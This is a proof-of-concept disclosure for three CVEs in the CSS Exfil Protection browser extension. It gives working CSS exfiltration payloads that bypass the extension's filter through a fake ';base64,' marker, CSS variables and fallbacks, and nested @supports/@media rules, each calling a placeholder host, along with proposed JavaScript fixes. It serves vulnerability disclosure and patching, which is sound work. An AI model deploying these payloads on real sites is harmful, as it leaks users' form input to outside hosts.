Share
## https://sploitus.com/exploit?id=E5367A96-6B68-5E89-B1D8-8EB7B0784AE2
# CSS Exfil Protection PoC

**Test Page:** https://randshell.github.io/CSS-Exfil-Protection-POC/

**PoC screenshot:**

![image](https://github.com/mlgualtieri/CSS-Exfil-Protection/assets/43271778/6c5c6102-221a-4b08-824f-11911fd04fa6)

## CVE-2024-29384

https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L242

In the current version of the extension, the above line is responsible for detecting all the URLs that contain `//`, unless the `;base64,` value is found. This would indicate the content is base64 encoded, e.g.: `url(data:image/png;base64,iVBORw0KGgoAAAANSU+h//EUgAAAaQAAA/GkCAYAAAB+TFE)`. In this case, the extension will ignore such rule.

The problem lies in not enforcing a strict matching of the `;base64,` at the beginning of the `url()`. Thus, it's possible to craft a non base64 encoded URL by inserting this value as either an URL fragment, like `http://url/pwned1.png#;base64,`, or even as a filename, since the special characters `;` and `,` are valid within an URL and within a filename, so `http://url/;base64,pwned11.png`.

The proposed fix I've found is changing the conditions to a stricter match, so:

```js
(cssText.indexOf("//") !== -1 &&
            cssText.indexOf("url((\"|')data:[w]+/[w]+;base64,") === -1)
```

## CVE-2024-33436

CSS variables allow to split the CSS selector and the `url()` value in two different CSS Style Rules. In the context of this extension, the checks happen only for CSS selectors and `url()` in the same `CSSStyleRule`, so using CSS variables would allow for a bypass. E.g.:

```css
:root {
  --link: url( 'http://url/pwned2.png' );
}

#exfil_test2[value*="abc"] ~ #exfil_img2 {
  background-image: var(--link);
}

```

Another similar way to insert a malicious URL is through CSS fallback values:

```css
:root {
  --link: url( 'http://url/pwned2.png' );
}

#exfil_test2[value*="abc"] ~ #exfil_img2 {
  background-image: var(--nolink, var(--link));
}
```

## CVE-2024-33437

https://github.com/mlgualtieri/CSS-Exfil-Protection/blob/d0ad3ae654d040f5bfdd84a96c55827896572f6d/chrome/content.js#L236

Lastly, the above condition checks if the CSS Rule has any `selectorText` property, otherwise there is nothing to filter. This works for `CSSStyleRule` but not for others like `CSSSupportsRule` or `CSSMediaRule`, which in turn contain one or more `CSSStyleRule` and have no `selectorText`.

E.g.
```css
@supports (display: flex) {
  @media screen and (min-width: 100px) {
    #exfil_test3[value*="abc"] ~ #exfil_img3 {
      background-image: url("http://url/pwned3.png");
    }
  }
}
```

In fact, these rules can also be nested multiple times, like for example:
```css
@supports (display: flex) {
  @media screen and (min-width: 100px) {
    #exfil_test3[value*="abc"] ~ #exfil_img3 {
      background-image: url("http://url/pwned3.png");
    }
  }

  @supports (display: none) {
    @media screen and (min-width: 200px) {
      #exfil_test31[value*="abc"] ~ #exfil_img31 {
        background-image: url("http://url/pwned31.png");
      }
    }
  }
}
```
![image](https://github.com/mlgualtieri/CSS-Exfil-Protection/assets/43271778/8528af91-c786-45c8-a9d2-739039df6663)


This means we would need to iterate through all the nesting, if present, in order to extract all the `CSSStyleRule`, which are the ones we need instead.

The proposed fix I've found is the following. First, I've created a function which takes care of recursively extracting all the style rules:

```js
function extractStyleRule(_obj) {
  let rules = [];
  if (
    Object.prototype.toString.call(_obj) != "[object CSSStyleRule]" &&
    _obj.cssRules != undefined // keyframes have no cssRules
  ) {
    for (let i = 0; i < _obj.cssRules.length; i++) {
      rules = rules.concat(extractStyleRule(_obj.cssRules[i]));
    }
  } else {
    rules.push(_obj);
  }

  return rules;
}
```
And then I've edited the beginning of `parseCSSRules()` before looping through all the selectors:

```js
 var selectors = [];
 var selectorcss = [];

  trules = [];
  if (rules != null) {
    for (i = 0; i < rules.length; i++) {
      if (Object.prototype.toString.call(rules[i]) != "[object CSSStyleRule]") {
        var extracted_rules = extractStyleRule(rules[i]);
        //rules.splice(i,1);
        trules = trules.concat(extracted_rules);
      } else {
        trules.push(rules[i]);
      }
    }

    rules = trules; // or rename rules[0] to trules[0] everywhere in the function
```